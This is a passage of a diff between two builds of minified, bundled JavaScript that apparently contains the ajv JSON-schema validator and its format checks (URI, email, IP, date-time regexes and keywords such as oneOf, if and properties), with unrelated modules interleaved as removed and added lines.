/^P(?!$)((\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+S)?)?|(\d+W)?)$/, uri: function(e12) { - return l7.test(e12) && u7.test(e12); - }, "uri-reference": /^(?:[a-z][a-z0-9+\-.]*:)?(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'"()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?(?:\?(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i, "uri-template": /^(?:(?:[^\x00-\x20"'<>%\\^`{|}]|%[0-9a-f]{2})|\{[+#./;?&=,!@|]?(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?(?:,(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?)*\})*$/i, url: /^(?:https?|ftp):\/\/(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)(?:\.(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)*(?:\.(?:[a-z\u{00a1}-\u{ffff}]{2,})))(?::\d{2,5})?(?:\/[^\s]*)?$/iu, email: /^[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i, hostname: /^(?=.{1,253}\.?$)[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[-0-9a-z]{0,61}[0-9a-z])?)*\.?$/i, ipv4: /^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/, ipv6: /^((([0-9a-f]{1,4}:){7}([0-9a-f]{1,4}|:))|(([0-9a-f]{1,4}:){6}(:[0-9a-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9a-f]{1,4}:){5}(((:[0-9a-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9a-f]{1,4}:){4}(((:[0-9a-f]{1,4}){1,3})|((:[0-9a-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){3}(((:[0-9a-f]{1,4}){1,4})|((:[0-9a-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){2}(((:[0-9a-f]{1,4}){1,5})|((:[0-9a-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){1}(((:[0-9a-f]{1,4}){1,6})|((:[0-9a-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9a-f]{1,4}){1,7})|((:[0-9a-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))$/i, regex: function(e12) { - if (b8.test(e12)) - return false; - try { - return new RegExp(e12), true; - } catch (e13) { - return false; + Object.defineProperty(t9, "__esModule", { value: true }), t9.validateSchemaDeps = t9.validatePropertyDeps = t9.error = void 0; + const n8 = i8(17898), r8 = i8(50458), o7 = i8(94450); + t9.error = { message: ({ params: { property: e12, depsCount: t10, deps: i9 } }) => { + const r9 = 1 === t10 ? "property" : "properties"; + return n8.str`must have ${r9} ${i9} when property ${e12} is present`; + }, params: ({ params: { property: e12, depsCount: t10, deps: i9, missingProperty: r9 } }) => n8._`{property: ${e12}, + missingProperty: ${r9}, + depsCount: ${t10}, + deps: ${i9}}` }; + const s7 = { keyword: "dependencies", type: "object", schemaType: "object", error: t9.error, code(e12) { + const [t10, i9] = function({ schema: e13 }) { + const t11 = {}, i10 = {}; + for (const n9 in e13) + "__proto__" !== n9 && ((Array.isArray(e13[n9]) ? t11 : i10)[n9] = e13[n9]); + return [t11, i10]; + }(e12); + a7(e12, t10), p7(e12, i9); + } }; + function a7(e12, t10 = e12.schema) { + const { gen: i9, data: r9, it: s8 } = e12; + if (0 === Object.keys(t10).length) + return; + const a8 = i9.let("missing"); + for (const p8 in t10) { + const c7 = t10[p8]; + if (0 === c7.length) + continue; + const d7 = (0, o7.propertyInData)(i9, r9, p8, s8.opts.ownProperties); + e12.setParams({ property: p8, depsCount: c7.length, deps: c7.join(", ") }), s8.allErrors ? i9.if(d7, () => { + for (const t11 of c7) + (0, o7.checkReportMissingProp)(e12, t11); + }) : (i9.if(n8._`${d7} && (${(0, o7.checkMissingProp)(e12, c7, a8)})`), (0, o7.reportMissingProp)(e12, a8), i9.else()); } - }, uuid: /^(?:urn:uuid:)?[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i, "json-pointer": /^(?:\/(?:[^~/]|~0|~1)*)*$/, "json-pointer-uri-fragment": /^#(?:\/(?:[a-z0-9_\-.!$&'()*+,;:=@]|%[0-9a-f]{2}|~0|~1)*)*$/i, "relative-json-pointer": /^(?:0|[1-9][0-9]*)(?:#|(?:\/(?:[^~/]|~0|~1)*)*)$/, byte: function(e12) { - return m7.lastIndex = 0, m7.test(e12); - }, int32: { type: "number", validate: function(e12) { - return Number.isInteger(e12) && e12 <= y7 && e12 >= h8; - } }, int64: { type: "number", validate: function(e12) { - return Number.isInteger(e12); - } }, float: { type: "number", validate: g7 }, double: { type: "number", validate: g7 }, password: true, binary: true }, t9.fastFormats = { ...t9.fullFormats, date: i8(/^\d\d\d\d-[0-1]\d-[0-3]\d$/, s7), time: i8(/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i, c7), "date-time": i8(/^\d\d\d\d-[0-1]\d-[0-3]\d[t\s](?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i, f8), uri: /^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/)?[^\s]*$/i, "uri-reference": /^(?:(?:[a-z][a-z0-9+\-.]*:)?\/?\/)?(?:[^\\\s#][^\s#]*)?(?:#[^\\\s]*)?$/i, email: /^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/i }, t9.formatNames = Object.keys(t9.fullFormats); - const n8 = /^(\d\d\d\d)-(\d\d)-(\d\d)$/, r8 = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; - function o7(e12) { - const t10 = n8.exec(e12); - if (!t10) - return false; - const i9 = +t10[1], o8 = +t10[2], s8 = +t10[3]; - return o8 >= 1 && o8 <= 12 && s8 >= 1 && s8 <= (2 === o8 && function(e13) { - return e13 % 4 == 0 && (e13 % 100 != 0 || e13 % 400 == 0); - }(i9) ? 29 : r8[o8]); - } - function s7(e12, t10) { - if (e12 && t10) - return e12 > t10 ? 1 : e12 < t10 ? -1 : 0; } - const a7 = /^(\d\d):(\d\d):(\d\d)(\.\d+)?(z|[+-]\d\d(?::?\d\d)?)?$/i; - function p7(e12, t10) { - const i9 = a7.exec(e12); - if (!i9) - return false; - const n9 = +i9[1], r9 = +i9[2], o8 = +i9[3], s8 = i9[5]; - return (n9 <= 23 && r9 <= 59 && o8 <= 59 || 23 === n9 && 59 === r9 && 60 === o8) && (!t10 || "" !== s8); - } - function c7(e12, t10) { - if (!e12 || !t10) - return; - const i9 = a7.exec(e12), n9 = a7.exec(t10); - return i9 && n9 ? (e12 = i9[1] + i9[2] + i9[3] + (i9[4] || "")) > (t10 = n9[1] + n9[2] + n9[3] + (n9[4] || "")) ? 1 : e12 < t10 ? -1 : 0 : void 0; + function p7(e12, t10 = e12.schema) { + const { gen: i9, data: n9, keyword: s8, it: a8 } = e12, p8 = i9.name("valid"); + for (const c7 in t10) + (0, r8.alwaysValidSchema)(a8, t10[c7]) || (i9.if((0, o7.propertyInData)(i9, n9, c7, a8.opts.ownProperties), () => { + const t11 = e12.subschema({ keyword: s8, schemaProp: c7 }, p8); + e12.mergeValidEvaluated(t11, p8); + }, () => i9.var(p8, true)), e12.ok(p8)); } - const d7 = /t|\s/i; - function f8(e12, t10) { - if (!e12 || !t10) + t9.validatePropertyDeps = a7, t9.validateSchemaDeps = p7, t9.default = s7; + }, 90776: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(99868), r8 = { keyword: "dependentSchemas", type: "object", schemaType: "object", code: (e12) => (0, n8.validateSchemaDeps)(e12) }; + t9.default = r8; + }, 70510: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = i8(50458), o7 = { keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, error: { message: ({ params: e12 }) => n8.str`must match "${e12.ifClause}" schema`, params: ({ params: e12 }) => n8._`{failingKeyword: ${e12.ifClause}}` }, code(e12) { + const { gen: t10, parentSchema: i9, it: o8 } = e12; + void 0 === i9.then && void 0 === i9.else && (0, r8.checkStrictMode)(o8, '"if" without "then" and "else" is ignored'); + const a7 = s7(o8, "then"), p7 = s7(o8, "else"); + if (!a7 && !p7) return; - const [i9, n9] = e12.split(d7), [r9, o8] = t10.split(d7), a8 = s7(i9, r9); - return void 0 !== a8 ? a8 || c7(n9, o8) : void 0; - } - const l7 = /\/|:/, u7 = /^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)(?:\?(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i, m7 = /^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/gm, h8 = -(2 ** 31), y7 = 2 ** 31 - 1; - function g7() { - return true; + const c7 = t10.let("valid", true), d7 = t10.name("_valid"); + if (function() { + const t11 = e12.subschema({ keyword: "if", compositeRule: true, createErrors: false, allErrors: false }, d7); + e12.mergeEvaluated(t11); + }(), e12.reset(), a7 && p7) { + const i10 = t10.let("ifClause"); + e12.setParams({ ifClause: i10 }), t10.if(d7, f8("then", i10), f8("else", i10)); + } else + a7 ? t10.if(d7, f8("then")) : t10.if((0, n8.not)(d7), f8("else")); + function f8(i10, r9) { + return () => { + const o9 = e12.subschema({ keyword: i10 }, d7); + t10.assign(c7, d7), e12.mergeValidEvaluated(o9, c7), r9 ? t10.assign(r9, n8._`${i10}`) : e12.setParams({ ifClause: i10 }); + }; + } + e12.pass(c7, () => e12.error(true)); + } }; + function s7(e12, t10) { + const i9 = e12.schema[t10]; + return void 0 !== i9 && !(0, r8.alwaysValidSchema)(e12, i9); } - const b8 = /[^\\]\\Z/; - }, 74421: (e11, t9, i8) => { + t9.default = o7; + }, 18225: (e11, t9, i8) => { "use strict"; Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(65733), r8 = i8(31038), o7 = i8(17898), s7 = new o7.Name("fullFormats"), a7 = new o7.Name("fastFormats"), p7 = (e12, t10 = { keywords: true }) => { - if (Array.isArray(t10)) - return c7(e12, t10, n8.fullFormats, s7), e12; - const [i9, o8] = "fast" === t10.mode ? [n8.fastFormats, a7] : [n8.fullFormats, s7]; - return c7(e12, t10.formats || n8.formatNames, i9, o8), t10.keywords && r8.default(e12), e12; + const n8 = i8(93426), r8 = i8(61349), o7 = i8(44153), s7 = i8(19753), a7 = i8(35724), p7 = i8(99868), c7 = i8(67486), d7 = i8(92697), f8 = i8(19660), l7 = i8(98422), u7 = i8(65532), m7 = i8(19430), h8 = i8(98768), y7 = i8(79355), g7 = i8(70510), b8 = i8(45255); + t9.default = function(e12 = false) { + const t10 = [u7.default, m7.default, h8.default, y7.default, g7.default, b8.default, c7.default, d7.default, p7.default, f8.default, l7.default]; + return e12 ? t10.push(r8.default, s7.default) : t10.push(n8.default, o7.default), t10.push(a7.default), t10; }; - function c7(e12, t10, i9, n9) { - var r9, s8; - null !== (r9 = (s8 = e12.opts.code).formats) && void 0 !== r9 || (s8.formats = o7._`require("ajv-formats/dist/formats").${n9}`); - for (const n10 of t10) - e12.addFormat(n10, i9[n10]); + }, 44153: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.validateTuple = void 0; + const n8 = i8(17898), r8 = i8(50458), o7 = i8(94450), s7 = { keyword: "items", type: "array", schemaType: ["object", "array", "boolean"], before: "uniqueItems", code(e12) { + const { schema: t10, it: i9 } = e12; + if (Array.isArray(t10)) + return a7(e12, "additionalItems", t10); + i9.items = true, (0, r8.alwaysValidSchema)(i9, t10) || e12.ok((0, o7.validateArray)(e12)); + } }; + function a7(e12, t10, i9 = e12.schema) { + const { gen: o8, parentSchema: s8, data: a8, keyword: p7, it: c7 } = e12; + !function(e13) { + const { opts: n9, errSchemaPath: o9 } = c7, s9 = i9.length, a9 = s9 === e13.minItems && (s9 === e13.maxItems || false === e13[t10]); + if (n9.strictTuples && !a9) { + const e14 = `"${p7}" is ${s9}-tuple, but minItems or maxItems/${t10} are not specified or different at path "${o9}"`; + (0, r8.checkStrictMode)(c7, e14, n9.strictTuples); + } + }(s8), c7.opts.unevaluated && i9.length && true !== c7.items && (c7.items = r8.mergeEvaluated.items(o8, i9.length, c7.items)); + const d7 = o8.name("valid"), f8 = o8.const("len", n8._`${a8}.length`); + i9.forEach((t11, i10) => { + (0, r8.alwaysValidSchema)(c7, t11) || (o8.if(n8._`${f8} > ${i10}`, () => e12.subschema({ keyword: p7, schemaProp: i10, dataProp: i10 }, d7)), e12.ok(d7)); + }); } - p7.get = (e12, t10 = "full") => { - const i9 = ("fast" === t10 ? n8.fastFormats : n8.fullFormats)[e12]; - if (!i9) - throw new Error(`Unknown format "${e12}"`); - return i9; - }, e11.exports = t9 = p7, Object.defineProperty(t9, "__esModule", { value: true }), t9.default = p7; - }, 31038: (e11, t9, i8) => { + t9.validateTuple = a7, t9.default = s7; + }, 19753: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.formatLimitDefinition = void 0; - const n8 = i8(11601), r8 = i8(17898), o7 = r8.operators, s7 = { formatMaximum: { okStr: "<=", ok: o7.LTE, fail: o7.GT }, formatMinimum: { okStr: ">=", ok: o7.GTE, fail: o7.LT }, formatExclusiveMaximum: { okStr: "<", ok: o7.LT, fail: o7.GTE }, formatExclusiveMinimum: { okStr: ">", ok: o7.GT, fail: o7.LTE } }, a7 = { message: ({ keyword: e12, schemaCode: t10 }) => r8.str`should be ${s7[e12].okStr} ${t10}`, params: ({ keyword: e12, schemaCode: t10 }) => r8._`{comparison: ${s7[e12].okStr}, limit: ${t10}}` }; - t9.formatLimitDefinition = { keyword: Object.keys(s7), type: "string", schemaType: "string", $data: true, error: a7, code(e12) { - const { gen: t10, data: i9, schemaCode: o8, keyword: a8, it: p7 } = e12, { opts: c7, self: d7 } = p7; - if (!c7.validateFormats) + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = i8(50458), o7 = i8(94450), s7 = i8(93426), a7 = { keyword: "items", type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", error: { message: ({ params: { len: e12 } }) => n8.str`must NOT have more than ${e12} items`, params: ({ params: { len: e12 } }) => n8._`{limit: ${e12}}` }, code(e12) { + const { schema: t10, parentSchema: i9, it: n9 } = e12, { prefixItems: a8 } = i9; + n9.items = true, (0, r8.alwaysValidSchema)(n9, t10) || (a8 ? (0, s7.validateAdditionalItems)(e12, a8) : e12.ok((0, o7.validateArray)(e12))); + } }; + t9.default = a7; + }, 65532: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(50458), r8 = { keyword: "not", schemaType: ["object", "boolean"], trackErrors: true, code(e12) { + const { gen: t10, schema: i9, it: r9 } = e12; + if ((0, n8.alwaysValidSchema)(r9, i9)) + return void e12.fail(); + const o7 = t10.name("valid"); + e12.subschema({ keyword: "not", compositeRule: true, createErrors: false, allErrors: false }, o7), e12.failResult(o7, () => e12.reset(), () => e12.error()); + }, error: { message: "must NOT be valid" } }; + t9.default = r8; + }, 98768: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = i8(50458), o7 = { keyword: "oneOf", schemaType: "array", trackErrors: true, error: { message: "must match exactly one schema in oneOf", params: ({ params: e12 }) => n8._`{passingSchemas: ${e12.passing}}` }, code(e12) { + const { gen: t10, schema: i9, parentSchema: o8, it: s7 } = e12; + if (!Array.isArray(i9)) + throw new Error("ajv implementation error"); + if (s7.opts.discriminator && o8.discriminator) return; - const f8 = new n8.KeywordCxt(p7, d7.RULES.all.format.definition, "format"); - function l7(e13) { - return r8._`${e13}.compare(${i9}, ${o8}) ${s7[a8].fail} 0`; - } - f8.$data ? function() { - const i10 = t10.scopeValue("formats", { ref: d7.formats, code: c7.code.formats }), n9 = t10.const("fmt", r8._`${i10}[${f8.schemaCode}]`); - e12.fail$data(r8.or(r8._`typeof ${n9} != "object"`, r8._`${n9} instanceof RegExp`, r8._`typeof ${n9}.compare != "function"`, l7(n9))); - }() : function() { - const i10 = f8.schema, n9 = d7.formats[i10]; - if (!n9 || true === n9) - return; - if ("object" != typeof n9 || n9 instanceof RegExp || "function" != typeof n9.compare) - throw new Error(`"${a8}": format "${i10}" does not define "compare" function`); - const o9 = t10.scopeValue("formats", { key: i10, ref: n9, code: c7.code.formats ? r8._`${c7.code.formats}${r8.getProperty(i10)}` : void 0 }); - e12.fail$data(l7(o9)); - }(); - }, dependencies: ["format"] }, t9.default = (e12) => (e12.addKeyword(t9.formatLimitDefinition), e12); - }, 88856: (e11, t9, i8) => { + const a7 = i9, p7 = t10.let("valid", false), c7 = t10.let("passing", null), d7 = t10.name("_valid"); + e12.setParams({ passing: c7 }), t10.block(function() { + a7.forEach((i10, o9) => { + let a8; + (0, r8.alwaysValidSchema)(s7, i10) ? t10.var(d7, true) : a8 = e12.subschema({ keyword: "oneOf", schemaProp: o9, compositeRule: true }, d7), o9 > 0 && t10.if(n8._`${d7} && ${p7}`).assign(p7, false).assign(c7, n8._`[${c7}, ${o9}]`).else(), t10.if(d7, () => { + t10.assign(p7, true), t10.assign(c7, o9), a8 && e12.mergeEvaluated(a8, n8.Name); + }); + }); + }), e12.result(p7, () => e12.reset(), () => e12.error(true)); + } }; + t9.default = o7; + }, 98422: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.MissingRefError = t9.ValidationError = t9.CodeGen = t9.Name = t9.nil = t9.stringify = t9.str = t9._ = t9.KeywordCxt = t9.Ajv2019 = void 0; - const n8 = i8(65319), r8 = i8(2431), o7 = i8(32485), s7 = i8(68774), a7 = i8(83076), p7 = i8(11672), c7 = i8(92905), d7 = "https://json-schema.org/draft/2019-09/schema"; - class f8 extends n8.default { - constructor(e12 = {}) { - super({ ...e12, dynamicRef: true, next: true, unevaluated: true }); - } - _addVocabularies() { - super._addVocabularies(), this.addVocabulary(o7.default), r8.default.forEach((e12) => this.addVocabulary(e12)), this.addVocabulary(s7.default), this.addVocabulary(a7.default), this.opts.discriminator && this.addKeyword(p7.default); - } - _addDefaultMetaSchema() { - super._addDefaultMetaSchema(); - const { $data: e12, meta: t10 } = this.opts; - t10 && (c7.default.call(this, e12), this.refs["http://json-schema.org/schema"] = d7); + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(94450), r8 = i8(17898), o7 = i8(50458), s7 = i8(50458), a7 = { keyword: "patternProperties", type: "object", schemaType: "object", code(e12) { + const { gen: t10, schema: i9, data: a8, parentSchema: p7, it: c7 } = e12, { opts: d7 } = c7, f8 = (0, n8.allSchemaProperties)(i9), l7 = f8.filter((e13) => (0, o7.alwaysValidSchema)(c7, i9[e13])); + if (0 === f8.length || l7.length === f8.length && (!c7.opts.unevaluated || true === c7.props)) + return; + const u7 = d7.strictSchema && !d7.allowMatchingProperties && p7.properties, m7 = t10.name("valid"); + true === c7.props || c7.props instanceof r8.Name || (c7.props = (0, s7.evaluatedPropsToName)(t10, c7.props)); + const { props: h8 } = c7; + function y7(e13) { + for (const t11 in u7) + new RegExp(e13).test(t11) && (0, o7.checkStrictMode)(c7, `property ${t11} matches pattern ${e13} (use allowMatchingProperties)`); } - defaultMeta() { - return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(d7) ? d7 : void 0); + function g7(i10) { + t10.forIn("key", a8, (o8) => { + t10.if(r8._`${(0, n8.usePattern)(e12, i10)}.test(${o8})`, () => { + const n9 = l7.includes(i10); + n9 || e12.subschema({ keyword: "patternProperties", schemaProp: i10, dataProp: o8, dataPropType: s7.Type.Str }, m7), c7.opts.unevaluated && true !== h8 ? t10.assign(r8._`${h8}[${o8}]`, true) : n9 || c7.allErrors || t10.if((0, r8.not)(m7), () => t10.break()); + }); + }); } - } - t9.Ajv2019 = f8, e11.exports = t9 = f8, e11.exports.Ajv2019 = f8, Object.defineProperty(t9, "__esModule", { value: true }), t9.default = f8; - var l7 = i8(96223); - Object.defineProperty(t9, "KeywordCxt", { enumerable: true, get: function() { - return l7.KeywordCxt; - } }); - var u7 = i8(17898); - Object.defineProperty(t9, "_", { enumerable: true, get: function() { - return u7._; - } }), Object.defineProperty(t9, "str", { enumerable: true, get: function() { - return u7.str; - } }), Object.defineProperty(t9, "stringify", { enumerable: true, get: function() { - return u7.stringify; - } }), Object.defineProperty(t9, "nil", { enumerable: true, get: function() { - return u7.nil; - } }), Object.defineProperty(t9, "Name", { enumerable: true, get: function() { - return u7.Name; - } }), Object.defineProperty(t9, "CodeGen", { enumerable: true, get: function() { - return u7.CodeGen; - } }); - var m7 = i8(95031); - Object.defineProperty(t9, "ValidationError", { enumerable: true, get: function() { - return m7.default; - } }); - var h8 = i8(85748); - Object.defineProperty(t9, "MissingRefError", { enumerable: true, get: function() { - return h8.default; - } }); - }, 88728: (e11, t9, i8) => { + !function() { + for (const e13 of f8) + u7 && y7(e13), c7.allErrors ? g7(e13) : (t10.var(m7, true), g7(e13), t10.if(m7)); + }(); + } }; + t9.default = a7; + }, 61349: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.MissingRefError = t9.ValidationError = t9.CodeGen = t9.Name = t9.nil = t9.stringify = t9.str = t9._ = t9.KeywordCxt = t9.Ajv2020 = void 0; - const n8 = i8(65319), r8 = i8(64404), o7 = i8(11672), s7 = i8(43685), a7 = "https://json-schema.org/draft/2020-12/schema"; - class p7 extends n8.default { - constructor(e12 = {}) { - super({ ...e12, dynamicRef: true, next: true, unevaluated: true }); + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(44153), r8 = { keyword: "prefixItems", type: "array", schemaType: ["array"], before: "uniqueItems", code: (e12) => (0, n8.validateTuple)(e12, "items") }; + t9.default = r8; + }, 19660: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(96223), r8 = i8(94450), o7 = i8(50458), s7 = i8(92697), a7 = { keyword: "properties", type: "object", schemaType: "object", code(e12) { + const { gen: t10, schema: i9, parentSchema: a8, data: p7, it: c7 } = e12; + "all" === c7.opts.removeAdditional && void 0 === a8.additionalProperties && s7.default.code(new n8.KeywordCxt(c7, s7.default, "additionalProperties")); + const d7 = (0, r8.allSchemaProperties)(i9); + for (const e13 of d7) + c7.definedProperties.add(e13); + c7.opts.unevaluated && d7.length && true !== c7.props && (c7.props = o7.mergeEvaluated.props(t10, (0, o7.toHash)(d7), c7.props)); + const f8 = d7.filter((e13) => !(0, o7.alwaysValidSchema)(c7, i9[e13])); + if (0 === f8.length) + return; + const l7 = t10.name("valid"); + for (const i10 of f8) + u7(i10) ? m7(i10) : (t10.if((0, r8.propertyInData)(t10, p7, i10, c7.opts.ownProperties)), m7(i10), c7.allErrors || t10.else().var(l7, true), t10.endIf()), e12.it.definedProperties.add(i10), e12.ok(l7); + function u7(e13) { + return c7.opts.useDefaults && !c7.compositeRule && void 0 !== i9[e13].default; } - _addVocabularies() { - super._addVocabularies(), r8.default.forEach((e12) => this.addVocabulary(e12)), this.opts.discriminator && this.addKeyword(o7.default); + function m7(t11) { + e12.subschema({ keyword: "properties", schemaProp: t11, dataProp: t11 }, l7); } - _addDefaultMetaSchema() { - super._addDefaultMetaSchema(); - const { $data: e12, meta: t10 } = this.opts; - t10 && (s7.default.call(this, e12), this.refs["http://json-schema.org/schema"] = a7); + } }; + t9.default = a7; + }, 67486: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(17898), r8 = i8(50458), o7 = { keyword: 